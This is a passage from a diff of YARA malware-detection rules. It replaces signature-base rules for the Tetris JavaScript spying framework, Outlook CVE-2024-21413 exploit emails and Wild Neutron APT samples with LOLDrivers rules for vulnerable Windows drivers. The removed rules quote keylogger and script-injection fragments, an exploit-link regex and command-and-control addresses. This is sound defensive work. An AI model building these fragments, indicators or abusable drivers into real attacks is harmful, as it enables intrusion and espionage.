+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100300020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		uint16(0)==0x5A4D and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Apt_CN_Tetris_JS_Advanced_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_88FB : FILE
 {
 	meta:
-		description = "Unique code from Jetriz, Swid & Jeniva of the Tetris framework"
-		author = "@imp0rtp3 (modified by Florian Roth)"
-		id = "a56f69f5-3562-52ab-9686-411019c51055"
-		date = "2020-09-06"
-		modified = "2023-12-05"
-		reference = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tetris.yar#L2-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec4ba53fea05c5331ed900b8c7da4cddd4ab64e87dfc165ac18d72d22f754d87"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx64.sys"
+		author = "Florian Roth"
+		id = "b97c6cc0-76f2-56a2-9725-672ac9f6aa9b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8181-L8200"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "88fb0a846f52c3b680c695cd349bf56151a53a75a07b8b0b4fe026ab8aa0a9af"
+		logic_hash = "9c38d3552116177e73a66e56d3f53f8f50ed698a8747cbc59ccbee3cfec0db0d"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$a1 = "var a0_0x"
-		$b1 = "a0_0x" ascii
-		$cx1 = "))),function(){try{var _0x"
-		$cx2 = "=window)||void 0x0===_0x"
-		$cx3 = "){if(opener&&void 0x0!==opener["
-		$cx4 = "String['fromCharCode'](0x"
-		$e1 = "')](__p__)"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530070006500650064002000460061006e00200078003600340020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530070006500650064002000460061006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310030 }
 
 	condition:
-		$a1 at 0 or ( filesize <1000KB and (#b1>300 or #e1>1 or 2 of ($cx*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Apt_CN_Tetrisplugins_JS : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_E839 : FILE
 {
 	meta:
-		description = "Code and strings of plugins from the Tetris framework loaded by Swid"
-		author = "@imp0rtp3"
-		id = "83e6fbad-55d6-5229-a17d-8929e0e658f8"
-		date = "2020-09-06"
-		modified = "2023-12-05"
-		reference = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tetris.yar#L34-L114"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa77d622584e79c86139b9c0f0b8ff46fc10461d0776e46c93490b6bb667afcf"
-		score = 75
-		quality = 60
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "8a7a82a3-f24e-5887-9d95-a997179616d9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8203-L8222"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e83908eba2501a00ef9e74e7d1c8b4ff1279f1cd6051707fd51824f87e4378fa"
+		logic_hash = "452a3eeb969ca2a3145b1f525401490911aeec23b29e88395f33dddb693417d0"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$a3 = "(0xbb8);this['socketWatcher'](0xbb9);this["
-		$a4 = "a2869674571f77b5a0867c3d71db5856"
-		$a5 = "\\x0a\\x20\\x20var\\x20data\\x20=\\x20{}\\x0a\\x20\\x20window.c\\x20=\\x200\\x0a\\x20\\x20script2\\x20=\\x20document.createElement(\\x22script\\x22)\\x0a\\x20\\x20script2.async\\x20=\\x20true\\x0a\\x20\\x20script2.src\\x20=\\x20\\x22"
-		$a6 = "{isPluginCallback:\\x20true,\\x20data,\\x20plugin:\\x20'"
-		$a7 = "\\x20\\x22*\\x22)\\x0a\\x20\\x20}\\x0a\\x20\\x20document.documentElement.appendChild("
-		$b1 = "String(str).match(/red\">(.*?)<\\/font>/)"
-		$b2 = "['data']);}};}},{'key':'run','value':function _0x"
-		$b3 = "},{'plugin':this['plugin'],'save':!![],'type':_typeof("
-		$b4 = "Cannot\\x20call\\x20a\\x20class\\x20as\\x20a\\x20function"
-		$b5 = "The\\x20command\\x20is\\x20sent\\x20successfully,\\x20wait\\x20for\\x20the\\x20result\\x20to\\x20return"
-		$b6 = "getUserMedia\\x20is\\x20not\\x20implemented\\x20in\\x20this\\x20browser"
-		$b7 = "{'autoplay':'true'},!![]);setTimeout(function(){return $('#'+"
-		$b8 = "keyLogger($('input'));\n        keyLogger($('textarea'));"
-		$b9 = "api.loadJS(\"\".concat(api.base.baseUrl"
-		$b10 = "\"\".concat(imgUrls[i], \"?t=\""
-		$b11 = "key: \"report\",\n      value: function report(data) {\n        return this.api.callback"
-		$b12 = "that.api.base.debounce("
-		$b13 = "'className','restOfNavigator','push'"
-		$b14 = ";};'use strict';function _typeof("
-		$c1 = "/public/dependence/jquery"
-		$c2 = "'http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png'"
-		$c3 = "'163.com not login';"
-		$c4 = "'ws://localhost:'"
-		$c5 = "function _typeof(obj) { \"@babel/helpers - typeof\"; "
-		$c6 = "'socketWatcher'"
-		$c7 = "['configurable']=!![];"
-		$c8 = "')]({'status':!![],'data':_0x"
-		$c9 = "')]={'localStorage':'localStorage'in window?window[_0x"
-		$c10 = "Browser not supported geolocation.');"
-		$c11 = "')]({'status':!![],'msg':'','data':_0x"
-		$c12 = "var Plugin = /*#__PURE__*/function () {"
-		$use_strict1 = "\"use strict\";"
-		$use_strict2 = "'use strict';"
-		$e1 = "Cannot\x20call\x20a\x20class\x20as\x20a\x20function" base64
-		$e2 = "The\x20command\x20is\x20sent\x20successfully,\x20wait\x20for\x20the\x20result\x20to\x20return" base64
-		$e3 = "getUserMedia\x20is\x20not\x20implemented\x20in\x20this\x20browser" base64
-		$e4 = "http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png" base64
-		$e5 = "/public/dependence/jquery" base64
-		$e6 = "\x20\x22*\x22)\x0a\x20\x20}\x0a\x20\x20document.documentElement.appendChild(" base64
-		$e8 = "\x0a\x20\x20var\x20data\x20=\x20{}\x0a\x20\x20window.c\x20=\x200\x0a\x20\x20script2\x20=\x20document.createElement(\x22script\x22)\x0a\x20\x20script2.async\x20=\x20true\x0a\x20\x20script2.src\x20=\x20\x22" base64
-		$e9 = "{isPluginCallback:\x20true,\x20data,\x20plugin:\x20" base64
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004300500055005f00430043 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		filesize <1000000 and ( any of ($a*) or 2 of ($b*) or 4 of ($c*) or 2 of ($e*) or ( any of ($use_strict*) and (( any of ($b*) and 2 of ($c*)) or any of ($e*))))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 : CVE_2024_21413 FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Hilschergesellschaftfrsystemaoutomationmbh_Physmemsys_Physicalmemoryaccessdriver_C299 : FILE
 {
 	meta:
-		description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
-		author = "X__Junior, Florian Roth"
-		id = "4512ca7b-0755-565e-84f1-596552949aa5"
-		date = "2024-02-17"
-		modified = "2024-02-19"
-		reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_outlook_cve_2024_21413.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "06cfafe0b92949e493dca6d54f671d0607242d97341144b69f563a0cc24dc6a1"
-		score = 75
-		quality = 85
-		tags = "CVE-2024-21413, FILE"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - physmem.sys"
+		author = "Florian Roth"
+		id = "1759efbf-dabf-5790-a624-9e344884f98c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8225-L8244"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d"
+		logic_hash = "64d1a7c9772d6a627bd2cec5c466a2627fa28d4a640ebe7fac5b948a02f1ff2a"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a1 = "Subject: "
-		$a2 = "Received: "
-		$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		filesize <1000KB and all of ($a*) and 1 of ($xr*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tenasyscorporation_Rtifsys_Intime_4CE8 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7bcb407f-7f01-540a-852c-a37456270888"
-		date = "2015-07-10"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L10-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
-		logic_hash = "d8044761fa51f2afd16eb096aa9e896483387c47e10ce922f2ef32ebcbd1a520"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtif.sys"
+		author = "Florian Roth"
+		id = "b9e35ec1-d960-5b7a-9461-93b206ded648"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8247-L8266"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4ce8583768720be90fae66eed3b6b4a8c7c64e033be53d4cd98246d6e06086d0"
+		logic_hash = "65d2d5a1727f55c5a09c2dac5472095b92316eaaabf6356224b175ffe6b7c5a3"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LiveUpdater.exe" fullword wide
-		$s1 = "id-at-postalAddress" fullword ascii
-		$s2 = "%d -> %d (default)" fullword wide
-		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
-		$s8 = "id-ce-keyUsage" fullword ascii
-		$s9 = "Key Usage" fullword ascii
-		$s32 = "UPDATE_ID" fullword wide
-		$s37 = "id-at-commonName" fullword ascii
-		$s38 = "2008R2" fullword wide
-		$s39 = "RSA-alt" fullword ascii
-		$s40 = "%02d.%04d.%s" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004e00740069006d006500200050006e00500020005200540020004b00650072006e0065006c00200049006e00740065007200660061006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00540065006e004100730079007300200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034003200300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0032002e00310031003200380035002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049004e00740069006d0065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300030002d0032003000310031002000620079002000540065006e004100730079007300200043006f00720070006f0072006100740069006f006e002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_AF10 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1893c251-f81a-5361-91fa-f91a6d1379d2"
-		date = "2015-07-10"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L36-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
-		logic_hash = "3a796199a2e9f2711e5fbdc1050234a8f3c09f762bc645f49a705d9f112d9cdc"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		id = "f80640c2-ec8d-5350-ba26-4dc6974816f2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8269-L8288"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "af1011c76a22af7be97a0b3e0ce11aca0509820c59fa7c8eeaaa1b2c0225f75a"
+		logic_hash = "9fc3405f0415b37f348f5a7ea83344a60a9a987acfa844663811e834927f234a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "rundll32.exe \"%s\",#1" fullword wide
-		$s1 = "IgfxUpt.exe" fullword wide
-		$s2 = "id-at-postalAddress" fullword ascii
-		$s3 = "Intel(R) Common User Interface" fullword wide
-		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
-		$s11 = "Key Usage" fullword ascii
-		$s12 = "Intel Integrated Graphics Updater" fullword wide
-		$s13 = "%sexpires on    : %04d-%02d-%02d %02d:%02d:%02d" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_3 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_ADA4 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1c5d1442-b2be-5a34-b5c9-78aaf67072c4"
-		date = "2015-07-10"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L59-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
-		logic_hash = "16d511412576df2eb6d9646856d37bd94af7648cc602510696b74fa0534e405d"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "55ef1733-e9e8-5c60-8461-233e4fa4f0ae"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8291-L8310"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ada4e42bf5ef58ef1aad94435441003b1cc1fcaa5d38bfdbe1a3d736dc451d47"
+		logic_hash = "d102d9add684a93cec7f05196b3e3ca39ff470df7df1b5fd58001b460c0a2dfc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "178.162.197.9" fullword ascii
-		$x2 = "\"http://fw.ddosprotected.eu:80 /opts resolv=drfx.chickenkiller.com\"" fullword wide
-		$s1 = "LiveUpdater.exe" fullword wide
-		$s2 = "id-at-postalAddress" fullword ascii
-		$s3 = "%d -> %d (default)" fullword wide
-		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
-		$s5 = "id-at-serialNumber" fullword ascii
-		$s6 = "ECDSA with SHA256" fullword ascii
-		$s7 = "Acer LiveUpdater" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2020KB and (1 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_4 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_9B2F : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "52ff5770-1ca4-54d9-b69d-8af0c392084e"
-		date = "2015-07-10"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L85-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
-		logic_hash = "4882b7c5f469615436490cd628ee3bb5b0dded43fb556ac6477cdadc6c8eff05"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		id = "d2e1c8d4-b8a7-5a0d-817a-f68ddda1c652"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8313-L8332"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9b2f051ac901ab47d0012a1002cb8b2db28c14e9480c0dd55e1ac11c81ba9285"
+		logic_hash = "156c30e23f3a22442c635c449290dfcfc5f02fb3b3a0a65f0966306bd1d71f7c"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "WinRAT-Win32-Release.exe" fullword ascii
-		$s0 = "rundll32.exe \"%s\",#1" fullword wide
-		$s1 = "RtlUpd.EXE" fullword wide
-		$s2 = "RtlUpd.exe" fullword wide
-		$s3 = "Driver Update and remove for Windows x64 or x86_32" fullword wide
-		$s4 = "Realtek HD Audio Update and remove driver Tool" fullword wide
-		$s5 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
-		$s6 = "Key Usage" fullword ascii
-		$s7 = "id-at-serialNumber" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1240KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_5 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_F629 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0df63255-155d-56b9-b86b-491855983095"
-		date = "2015-07-10"
-		modified = "2023-12-05"
